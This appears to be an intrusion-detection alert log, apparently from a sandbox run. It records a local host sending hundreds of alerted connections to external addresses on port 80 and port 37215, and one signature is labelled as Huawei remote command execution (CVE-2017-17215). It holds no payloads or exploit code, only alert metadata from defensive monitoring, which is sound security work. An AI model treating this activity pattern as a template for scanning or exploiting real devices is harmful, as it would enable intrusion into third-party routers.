2025-01-05T14:36:09.641500+0100	2029034	1	Web Application Attack	192.168.2.13	49324	117.252.43.150	80	TCP
2025-01-05T14:36:09.641656+0100	2029034	1	Web Application Attack	192.168.2.13	56918	59.209.179.128	80	TCP
2025-01-05T14:36:09.641663+0100	2029034	1	Web Application Attack	192.168.2.13	51390	19.98.112.70	80	TCP
2025-01-05T14:36:09.641749+0100	2029034	1	Web Application Attack	192.168.2.13	41340	111.148.16.81	80	TCP
2025-01-05T14:36:09.641881+0100	2029034	1	Web Application Attack	192.168.2.13	57024	77.212.112.245	80	TCP
2025-01-05T14:36:09.641957+0100	2029034	1	Web Application Attack	192.168.2.13	48868	34.70.3.33	80	TCP
2025-01-05T14:36:09.642070+0100	2029034	1	Web Application Attack	192.168.2.13	35348	198.166.209.189	80	TCP
2025-01-05T14:36:09.642432+0100	2029034	1	Web Application Attack	192.168.2.13	60742	72.209.166.180	80	TCP
2025-01-05T14:36:09.642653+0100	2029034	1	Web Application Attack	192.168.2.13	58592	129.167.14.175	80	TCP
2025-01-05T14:36:09.642862+0100	2029034	1	Web Application Attack	192.168.2.13	52338	32.38.93.194	80	TCP
2025-01-05T14:36:09.644286+0100	2029034	1	Web Application Attack	192.168.2.13	42512	213.71.44.84	80	TCP
2025-01-05T14:36:09.652895+0100	2029034	1	Web Application Attack	192.168.2.13	43592	155.40.195.24	80	TCP
2025-01-05T14:36:09.653168+0100	2029034	1	Web Application Attack	192.168.2.13	39488	76.255.220.226	80	TCP
2025-01-05T14:36:09.653570+0100	2029034	1	Web Application Attack	192.168.2.13	43240	60.38.175.172	80	TCP
2025-01-05T14:36:09.654629+0100	2029034	1	Web Application Attack	192.168.2.13	46806	133.100.155.130	80	TCP
2025-01-05T14:36:09.654854+0100	2029034	1	Web Application Attack	192.168.2.13	37892	220.210.27.226	80	TCP
2025-01-05T14:36:09.654894+0100	2029034	1	Web Application Attack	192.168.2.13	34052	147.170.184.87	80	TCP
2025-01-05T14:36:09.654993+0100	2029034	1	Web Application Attack	192.168.2.13	33590	169.85.118.126	80	TCP
2025-01-05T14:36:09.656101+0100	2029034	1	Web Application Attack	192.168.2.13	53826	44.211.10.64	80	TCP
2025-01-05T14:36:09.656221+0100	2029034	1	Web Application Attack	192.168.2.13	55294	120.251.42.119	80	TCP
2025-01-05T14:36:09.658675+0100	2029034	1	Web Application Attack	192.168.2.13	45954	162.201.75.195	80	TCP
2025-01-05T14:36:09.658740+0100	2029034	1	Web Application Attack	192.168.2.13	42842	158.4.53.120	80	TCP
2025-01-05T14:36:09.672353+0100	2029034	1	Web Application Attack	192.168.2.13	35058	136.231.233.168	80	TCP
2025-01-05T14:36:10.481177+0100	2029034	1	Web Application Attack	192.168.2.13	59590	137.1.211.177	80	TCP
2025-01-05T14:36:10.496650+0100	2029034	1	Web Application Attack	192.168.2.13	56610	79.247.85.196	80	TCP
2025-01-05T14:36:10.512317+0100	2029034	1	Web Application Attack	192.168.2.13	55914	186.162.247.66	80	TCP
2025-01-05T14:36:10.512494+0100	2029034	1	Web Application Attack	192.168.2.13	55282	80.0.144.14	80	TCP
2025-01-05T14:36:10.512620+0100	2029034	1	Web Application Attack	192.168.2.13	42708	165.29.73.33	80	TCP
2025-01-05T14:36:10.512811+0100	2029034	1	Web Application Attack	192.168.2.13	59414	197.128.78.88	80	TCP
2025-01-05T14:36:10.513939+0100	2029034	1	Web Application Attack	192.168.2.13	49186	188.78.49.50	80	TCP
2025-01-05T14:36:10.514154+0100	2029034	1	Web Application Attack	192.168.2.13	41112	126.156.202.22	80	TCP
2025-01-05T14:36:10.514160+0100	2029034	1	Web Application Attack	192.168.2.13	40178	196.35.69.85	80	TCP
2025-01-05T14:36:10.514529+0100	2029034	1	Web Application Attack	192.168.2.13	57266	98.29.107.71	80	TCP
2025-01-05T14:36:10.516123+0100	2029034	1	Web Application Attack	192.168.2.13	38378	39.145.47.230	80	TCP
2025-01-05T14:36:10.517965+0100	2029034	1	Web Application Attack	192.168.2.13	48468	136.236.170.18	80	TCP
2025-01-05T14:36:10.518076+0100	2029034	1	Web Application Attack	192.168.2.13	53094	205.179.188.181	80	TCP
2025-01-05T14:36:10.518164+0100	2029034	1	Web Application Attack	192.168.2.13	57874	126.137.148.235	80	TCP
2025-01-05T14:36:10.518229+0100	2029034	1	Web Application Attack	192.168.2.13	55248	85.177.89.44	80	TCP
2025-01-05T14:36:10.639639+0100	2029034	1	Web Application Attack	192.168.2.13	38358	38.37.142.78	80	TCP
2025-01-05T14:36:11.673598+0100	2029034	1	Web Application Attack	192.168.2.13	38758	119.239.201.91	80	TCP
2025-01-05T14:36:13.606130+0100	2029034	1	Web Application Attack	192.168.2.13	42596	166.129.65.124	80	TCP
2025-01-05T14:36:13.606318+0100	2029034	1	Web Application Attack	192.168.2.13	58400	121.120.245.151	80	TCP
2025-01-05T14:36:19.668986+0100	2029034	1	Web Application Attack	192.168.2.13	58494	91.163.226.102	80	TCP
2025-01-05T14:36:19.668986+0100	2029034	1	Web Application Attack	192.168.2.13	53836	221.31.107.209	80	TCP
2025-01-05T14:36:19.684514+0100	2029034	1	Web Application Attack	192.168.2.13	40412	66.143.132.37	80	TCP
2025-01-05T14:36:19.688207+0100	2029034	1	Web Application Attack	192.168.2.13	57714	64.179.90.157	80	TCP
2025-01-05T14:36:19.690109+0100	2029034	1	Web Application Attack	192.168.2.13	41484	39.178.32.141	80	TCP
2025-01-05T14:36:20.684425+0100	2029034	1	Web Application Attack	192.168.2.13	35950	106.148.168.102	80	TCP
2025-01-05T14:36:20.684460+0100	2029034	1	Web Application Attack	192.168.2.13	50556	175.207.12.51	80	TCP
2025-01-05T14:36:20.684518+0100	2029034	1	Web Application Attack	192.168.2.13	56140	48.119.204.154	80	TCP
2025-01-05T14:36:20.684576+0100	2029034	1	Web Application Attack	192.168.2.13	38740	206.233.1.190	80	TCP
2025-01-05T14:36:20.684643+0100	2029034	1	Web Application Attack	192.168.2.13	51212	150.125.213.121	80	TCP
2025-01-05T14:36:20.684690+0100	2029034	1	Web Application Attack	192.168.2.13	55426	182.71.202.116	80	TCP
2025-01-05T14:36:20.684765+0100	2029034	1	Web Application Attack	192.168.2.13	49814	13.59.213.34	80	TCP
2025-01-05T14:36:20.684832+0100	2029034	1	Web Application Attack	192.168.2.13	57082	179.208.243.62	80	TCP
2025-01-05T14:36:20.684997+0100	2029034	1	Web Application Attack	192.168.2.13	54102	125.172.148.134	80	TCP
2025-01-05T14:36:20.685004+0100	2029034	1	Web Application Attack	192.168.2.13	54178	19.184.72.129	80	TCP
2025-01-05T14:36:20.685150+0100	2029034	1	Web Application Attack	192.168.2.13	50530	147.77.255.242	80	TCP
2025-01-05T14:36:20.686137+0100	2029034	1	Web Application Attack	192.168.2.13	53074	204.237.62.195	80	TCP
2025-01-05T14:36:20.686266+0100	2029034	1	Web Application Attack	192.168.2.13	46288	189.208.66.61	80	TCP
2025-01-05T14:36:20.688425+0100	2029034	1	Web Application Attack	192.168.2.13	49730	116.253.42.136	80	TCP
2025-01-05T14:36:20.690046+0100	2029034	1	Web Application Attack	192.168.2.13	39678	161.87.135.110	80	TCP
2025-01-05T14:36:20.690353+0100	2029034	1	Web Application Attack	192.168.2.13	42852	8.5.2.186	80	TCP
2025-01-05T14:36:20.705627+0100	2029034	1	Web Application Attack	192.168.2.13	57136	142.71.212.238	80	TCP
2025-01-05T14:36:20.721234+0100	2029034	1	Web Application Attack	192.168.2.13	48018	48.170.89.180	80	TCP
2025-01-05T14:36:20.736091+0100	2029034	1	Web Application Attack	192.168.2.13	55116	112.220.91.212	80	TCP
2025-01-05T14:36:21.727413+0100	2029034	1	Web Application Attack	192.168.2.13	60218	38.39.141.232	80	TCP
2025-01-05T14:36:21.727416+0100	2029034	1	Web Application Attack	192.168.2.13	33996	152.61.141.149	80	TCP
2025-01-05T14:36:21.727432+0100	2029034	1	Web Application Attack	192.168.2.13	52036	142.173.11.252	80	TCP
2025-01-05T14:36:21.727434+0100	2029034	1	Web Application Attack	192.168.2.13	49808	205.176.65.230	80	TCP
2025-01-05T14:36:21.727434+0100	2029034	1	Web Application Attack	192.168.2.13	47722	218.163.235.80	80	TCP
2025-01-05T14:36:21.727444+0100	2029034	1	Web Application Attack	192.168.2.13	54320	133.253.162.207	80	TCP
2025-01-05T14:36:21.727444+0100	2029034	1	Web Application Attack	192.168.2.13	42926	80.11.167.73	80	TCP
2025-01-05T14:36:21.727447+0100	2029034	1	Web Application Attack	192.168.2.13	38684	90.104.159.94	80	TCP
2025-01-05T14:36:21.727450+0100	2029034	1	Web Application Attack	192.168.2.13	54852	130.140.175.34	80	TCP
2025-01-05T14:36:21.727458+0100	2029034	1	Web Application Attack	192.168.2.13	57972	78.89.88.148	80	TCP
2025-01-05T14:36:22.509775+0100	2029034	1	Web Application Attack	192.168.2.13	54346	217.60.4.70	80	TCP
2025-01-05T14:36:22.715734+0100	2029034	1	Web Application Attack	192.168.2.13	51536	49.184.211.107	80	TCP
2025-01-05T14:36:22.715787+0100	2029034	1	Web Application Attack	192.168.2.13	50380	52.125.252.133	80	TCP
2025-01-05T14:36:22.715880+0100	2029034	1	Web Application Attack	192.168.2.13	44508	92.118.200.30	80	TCP
2025-01-05T14:36:22.715971+0100	2029034	1	Web Application Attack	192.168.2.13	60978	216.53.14.97	80	TCP
2025-01-05T14:36:22.716044+0100	2029034	1	Web Application Attack	192.168.2.13	39108	130.70.110.215	80	TCP
2025-01-05T14:36:22.720426+0100	2029034	1	Web Application Attack	192.168.2.13	35578	126.133.2.89	80	TCP
2025-01-05T14:36:22.721482+0100	2029034	1	Web Application Attack	192.168.2.13	56232	130.242.236.67	80	TCP
2025-01-05T14:36:22.731587+0100	2029034	1	Web Application Attack	192.168.2.13	51068	86.25.41.35	80	TCP
2025-01-05T14:36:22.731742+0100	2029034	1	Web Application Attack	192.168.2.13	43536	58.35.162.105	80	TCP
2025-01-05T14:36:22.732111+0100	2029034	1	Web Application Attack	192.168.2.13	45038	95.138.70.178	80	TCP
2025-01-05T14:36:22.732984+0100	2029034	1	Web Application Attack	192.168.2.13	35592	202.249.159.55	80	TCP
2025-01-05T14:36:22.733142+0100	2029034	1	Web Application Attack	192.168.2.13	36424	161.198.210.209	80	TCP
2025-01-05T14:36:22.733339+0100	2029034	1	Web Application Attack	192.168.2.13	59716	114.165.65.37	80	TCP
2025-01-05T14:36:22.733393+0100	2029034	1	Web Application Attack	192.168.2.13	53222	34.198.195.202	80	TCP
2025-01-05T14:36:22.735144+0100	2029034	1	Web Application Attack	192.168.2.13	43764	149.32.171.176	80	TCP
2025-01-05T14:36:22.735225+0100	2029034	1	Web Application Attack	192.168.2.13	47506	213.212.154.140	80	TCP
2025-01-05T14:36:22.736886+0100	2029034	1	Web Application Attack	192.168.2.13	36142	112.86.48.170	80	TCP
2025-01-05T14:36:22.736940+0100	2029034	1	Web Application Attack	192.168.2.13	60800	113.27.221.206	80	TCP
2025-01-05T14:36:22.747791+0100	2029034	1	Web Application Attack	192.168.2.13	39740	106.16.125.129	80	TCP
2025-01-05T14:36:22.762600+0100	2029034	1	Web Application Attack	192.168.2.13	47934	183.9.238.50	80	TCP
2025-01-05T14:36:23.269438+0100	2029034	1	Web Application Attack	192.168.2.13	33314	23.216.156.216	80	TCP
2025-01-05T14:36:23.700223+0100	2029034	1	Web Application Attack	192.168.2.13	58598	102.99.86.117	80	TCP
2025-01-05T14:36:24.762502+0100	2029034	1	Web Application Attack	192.168.2.13	34150	189.61.14.125	80	TCP
2025-01-05T14:36:26.747854+0100	2029034	1	Web Application Attack	192.168.2.13	60536	45.32.132.210	80	TCP
2025-01-05T14:36:26.809499+0100	2029034	1	Web Application Attack	192.168.2.13	32822	182.191.143.241	80	TCP
2025-01-05T14:36:26.811591+0100	2029034	1	Web Application Attack	192.168.2.13	58140	31.143.102.164	80	TCP
2025-01-05T14:36:26.813379+0100	2029034	1	Web Application Attack	192.168.2.13	54542	72.18.70.237	80	TCP
2025-01-05T14:36:26.815166+0100	2029034	1	Web Application Attack	192.168.2.13	42608	77.112.7.59	80	TCP
2025-01-05T14:36:26.829013+0100	2029034	1	Web Application Attack	192.168.2.13	36550	126.219.116.33	80	TCP
2025-01-05T14:36:27.259686+0100	2029034	1	Web Application Attack	192.168.2.13	34774	23.216.20.11	80	TCP
2025-01-05T14:36:27.762751+0100	2029034	1	Web Application Attack	192.168.2.13	37928	84.27.175.6	80	TCP
2025-01-05T14:36:27.780769+0100	2029034	1	Web Application Attack	192.168.2.13	56486	88.64.116.168	80	TCP
2025-01-05T14:36:27.780917+0100	2029034	1	Web Application Attack	192.168.2.13	40416	129.89.187.14	80	TCP
2025-01-05T14:36:27.780932+0100	2029034	1	Web Application Attack	192.168.2.13	56748	149.180.166.162	80	TCP
2025-01-05T14:36:27.794065+0100	2029034	1	Web Application Attack	192.168.2.13	59596	154.131.102.164	80	TCP
2025-01-05T14:36:27.794565+0100	2029034	1	Web Application Attack	192.168.2.13	37928	176.108.10.80	80	TCP
2025-01-05T14:36:27.794907+0100	2029034	1	Web Application Attack	192.168.2.13	48372	76.47.229.222	80	TCP
2025-01-05T14:36:27.795979+0100	2029034	1	Web Application Attack	192.168.2.13	56240	203.226.246.10	80	TCP
2025-01-05T14:36:27.799071+0100	2029034	1	Web Application Attack	192.168.2.13	50084	166.233.6.250	80	TCP
2025-01-05T14:36:27.800224+0100	2029034	1	Web Application Attack	192.168.2.13	57110	190.145.215.85	80	TCP
2025-01-05T14:36:27.810377+0100	2029034	1	Web Application Attack	192.168.2.13	51122	24.125.3.173	80	TCP
2025-01-05T14:36:27.810568+0100	2029034	1	Web Application Attack	192.168.2.13	36440	72.197.110.224	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T14:34:57.597319+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43026	41.36.170.30	37215	TCP
2025-01-05T14:35:02.690778+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34820	156.232.11.104	37215	TCP
2025-01-05T14:35:06.322526+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53848	197.7.134.150	37215	TCP
2025-01-05T14:35:07.448080+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49922	41.175.131.184	37215	TCP
2025-01-05T14:35:07.540926+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54916	197.128.24.166	37215	TCP
2025-01-05T14:35:09.621461+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49540	41.220.233.210	37215	TCP
2025-01-05T14:35:10.163862+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37994	156.229.55.108	37215	TCP
2025-01-05T14:35:10.672211+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49130	156.242.224.209	37215	TCP
2025-01-05T14:35:14.105269+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49940	156.108.75.55	37215	TCP
2025-01-05T14:35:14.120942+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44044	156.64.87.47	37215	TCP
2025-01-05T14:35:14.120943+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56562	41.182.70.62	37215	TCP
2025-01-05T14:35:14.137302+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40130	197.132.40.247	37215	TCP
2025-01-05T14:35:14.142142+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59402	197.199.121.75	37215	TCP
2025-01-05T14:35:14.173369+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56562	41.214.12.69	37215	TCP
2025-01-05T14:35:14.183459+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57124	41.72.218.62	37215	TCP
2025-01-05T14:35:14.185065+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35762	197.112.77.190	37215	TCP
2025-01-05T14:35:14.233956+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45200	197.49.199.148	37215	TCP
2025-01-05T14:35:14.235829+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35934	197.169.104.42	37215	TCP
2025-01-05T14:35:14.246427+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47552	156.141.101.219	37215	TCP
2025-01-05T14:35:14.277036+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46538	156.229.176.50	37215	TCP
2025-01-05T14:35:14.296502+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44110	156.58.77.185	37215	TCP
2025-01-05T14:35:14.310144+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39302	41.56.98.126	37215	TCP
2025-01-05T14:35:14.345172+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38462	41.86.194.51	37215	TCP
2025-01-05T14:35:14.358957+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51950	156.139.201.209	37215	TCP
2025-01-05T14:35:15.105310+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46624	197.88.39.234	37215	TCP
2025-01-05T14:35:15.105432+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50230	197.10.74.211	37215	TCP
2025-01-05T14:35:15.105436+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55356	197.45.188.115	37215	TCP
2025-01-05T14:35:15.105919+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40850	156.153.54.149	37215	TCP
2025-01-05T14:35:15.106027+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39660	197.236.132.149	37215	TCP
2025-01-05T14:35:15.108268+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43238	156.211.32.141	37215	TCP
2025-01-05T14:35:15.314748+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52564	197.184.139.233	37215	TCP
2025-01-05T14:35:15.314748+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35014	41.126.221.108	37215	TCP
2025-01-05T14:35:15.314760+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33226	156.95.107.101	37215	TCP
2025-01-05T14:35:15.314764+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40204	197.87.222.2	37215	TCP
2025-01-05T14:35:15.314780+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51538	41.177.145.25	37215	TCP
2025-01-05T14:35:15.314829+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55152	41.177.65.72	37215	TCP
2025-01-05T14:35:15.314829+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58906	156.195.230.243	37215	TCP
2025-01-05T14:35:15.314829+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37312	197.54.31.40	37215	TCP
2025-01-05T14:35:15.314857+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51530	197.59.249.211	37215	TCP
2025-01-05T14:35:15.314858+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48552	197.25.242.105	37215	TCP
2025-01-05T14:35:15.314870+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49584	197.222.141.137	37215	TCP
2025-01-05T14:35:15.314875+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48668	156.59.131.59	37215	TCP
2025-01-05T14:35:15.314910+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33532	41.146.88.94	37215	TCP
2025-01-05T14:35:15.314911+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33486	156.219.91.159	37215	TCP
2025-01-05T14:35:15.314931+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47904	41.224.51.164	37215	TCP
2025-01-05T14:35:15.314943+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59136	197.12.237.90	37215	TCP
2025-01-05T14:35:15.314963+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50372	156.218.187.106	37215	TCP
2025-01-05T14:35:15.314977+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53592	156.224.24.81	37215	TCP
2025-01-05T14:35:15.314984+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45484	41.182.67.227	37215	TCP
2025-01-05T14:35:15.315012+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43762	41.200.188.11	37215	TCP
2025-01-05T14:35:15.315021+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36918	41.172.233.144	37215	TCP
2025-01-05T14:35:15.315057+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35080	156.233.138.121	37215	TCP
2025-01-05T14:35:15.315062+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44434	156.20.37.112	37215	TCP
2025-01-05T14:35:15.315067+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48322	197.125.8.61	37215	TCP
2025-01-05T14:35:15.315078+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41266	41.148.147.70	37215	TCP
2025-01-05T14:35:15.315097+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37894	41.24.113.224	37215	TCP
2025-01-05T14:35:15.315123+0100	2835222	1	A Network Trojan was detected	192.168.2.13	32792	41.108.229.87	37215	TCP
2025-01-05T14:35:15.420635+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43788	41.252.167.172	37215	TCP
2025-01-05T14:35:15.434082+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44712	156.29.43.93	37215	TCP
2025-01-05T14:35:15.436930+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54868	197.196.5.50	37215	TCP
2025-01-05T14:35:15.452044+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59016	156.195.220.109	37215	TCP
2025-01-05T14:35:17.152234+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40180	41.8.30.91	37215	TCP
2025-01-05T14:35:17.169667+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43716	41.19.166.133	37215	TCP
2025-01-05T14:35:17.170925+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58694	156.88.155.128	37215	TCP
2025-01-05T14:35:17.170926+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35698	197.96.31.0	37215	TCP
2025-01-05T14:35:17.183470+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42836	197.113.138.108	37215	TCP
2025-01-05T14:35:17.184009+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34728	41.82.207.46	37215	TCP
2025-01-05T14:35:17.184922+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48754	41.254.75.15	37215	TCP
2025-01-05T14:35:17.186467+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49258	156.126.78.211	37215	TCP
2025-01-05T14:35:17.187070+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51862	197.203.83.162	37215	TCP
2025-01-05T14:35:17.188383+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43950	197.60.138.82	37215	TCP
2025-01-05T14:35:17.189075+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57958	41.172.224.67	37215	TCP
2025-01-05T14:35:17.198866+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43414	156.29.56.92	37215	TCP
2025-01-05T14:35:17.200671+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44840	156.255.139.215	37215	TCP
2025-01-05T14:35:17.200729+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36132	156.141.115.233	37215	TCP
2025-01-05T14:35:17.201064+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59460	41.232.203.93	37215	TCP
2025-01-05T14:35:17.202122+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57244	197.100.220.57	37215	TCP
2025-01-05T14:35:17.202784+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49196	197.247.78.82	37215	TCP
2025-01-05T14:35:17.202980+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38642	41.171.143.145	37215	TCP
2025-01-05T14:35:17.203133+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53588	197.158.150.50	37215	TCP
2025-01-05T14:35:17.214608+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38844	156.233.61.170	37215	TCP
2025-01-05T14:35:17.216430+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34378	41.254.38.116	37215	TCP
2025-01-05T14:35:17.218395+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34848	41.7.178.161	37215	TCP
2025-01-05T14:35:17.220171+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52292	41.16.186.169	37215	TCP
2025-01-05T14:35:17.261510+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34814	156.27.80.89	37215	TCP
2025-01-05T14:35:17.262014+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42106	41.156.164.19	37215	TCP
2025-01-05T14:35:17.265319+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44544	156.58.186.145	37215	TCP
2025-01-05T14:35:17.294923+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41384	41.145.125.29	37215	TCP
2025-01-05T14:35:17.311213+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37602	41.108.41.195	37215	TCP
2025-01-05T14:35:17.313409+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55202	41.6.193.156	37215	TCP
2025-01-05T14:35:17.327762+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43322	156.40.240.210	37215	TCP
2025-01-05T14:35:17.355257+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52292	41.77.204.216	37215	TCP
2025-01-05T14:35:17.356854+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42272	197.235.231.188	37215	TCP
2025-01-05T14:35:17.372613+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41862	197.47.93.30	37215	TCP
2025-01-05T14:35:17.386379+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38130	41.1.36.164	37215	TCP
2025-01-05T14:35:18.391627+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42680	156.83.20.178	37215	TCP
2025-01-05T14:35:18.404212+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49276	197.79.21.61	37215	TCP
2025-01-05T14:35:18.433482+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53268	41.225.42.247	37215	TCP
2025-01-05T14:35:18.437081+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57628	156.213.81.209	37215	TCP
2025-01-05T14:35:18.437171+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34132	197.175.220.124	37215	TCP
2025-01-05T14:35:18.437296+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45300	41.242.75.188	37215	TCP
2025-01-05T14:35:18.480241+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47498	197.113.242.34	37215	TCP
2025-01-05T14:35:18.499025+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59282	41.198.247.116	37215	TCP
2025-01-05T14:35:19.175600+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41770	156.251.135.219	37215	TCP
2025-01-05T14:35:19.433483+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35842	156.174.170.104	37215	TCP
2025-01-05T14:35:19.438883+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37328	197.97.57.117	37215	TCP
2025-01-05T14:35:19.483427+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48336	156.225.151.83	37215	TCP
2025-01-05T14:35:21.402209+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42706	197.37.180.192	37215	TCP
2025-01-05T14:35:21.402298+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56658	156.156.184.103	37215	TCP
2025-01-05T14:35:21.402394+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33134	197.114.161.87	37215	TCP
2025-01-05T14:35:21.418344+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59282	156.245.190.4	37215	TCP
2025-01-05T14:35:21.419745+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56704	156.135.244.57	37215	TCP
2025-01-05T14:35:21.421511+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58980	197.78.8.202	37215	TCP
2025-01-05T14:35:21.434132+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36638	156.241.244.77	37215	TCP
2025-01-05T14:35:21.435388+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40456	156.62.255.186	37215	TCP
2025-01-05T14:35:21.436478+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53800	197.159.178.158	37215	TCP
2025-01-05T14:35:21.437225+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38934	41.245.158.70	37215	TCP
2025-01-05T14:35:21.439004+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33778	156.245.141.198	37215	TCP
2025-01-05T14:35:21.464641+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33738	41.136.40.189	37215	TCP
2025-01-05T14:35:21.482415+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57584	156.117.234.170	37215	TCP
2025-01-05T14:35:21.484123+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53648	156.179.44.151	37215	TCP
2025-01-05T14:35:21.709433+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39320	197.83.134.208	37215	TCP
2025-01-05T14:35:21.709441+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57922	197.175.162.9	37215	TCP
2025-01-05T14:35:21.709441+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50226	197.192.252.246	37215	TCP
2025-01-05T14:35:21.709443+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49886	156.86.142.141	37215	TCP
2025-01-05T14:35:21.709443+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43692	156.50.56.6	37215	TCP
2025-01-05T14:35:21.709443+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38320	156.161.221.30	37215	TCP
2025-01-05T14:35:21.709447+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47404	197.28.77.200	37215	TCP
2025-01-05T14:35:21.709456+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35802	41.130.183.227	37215	TCP
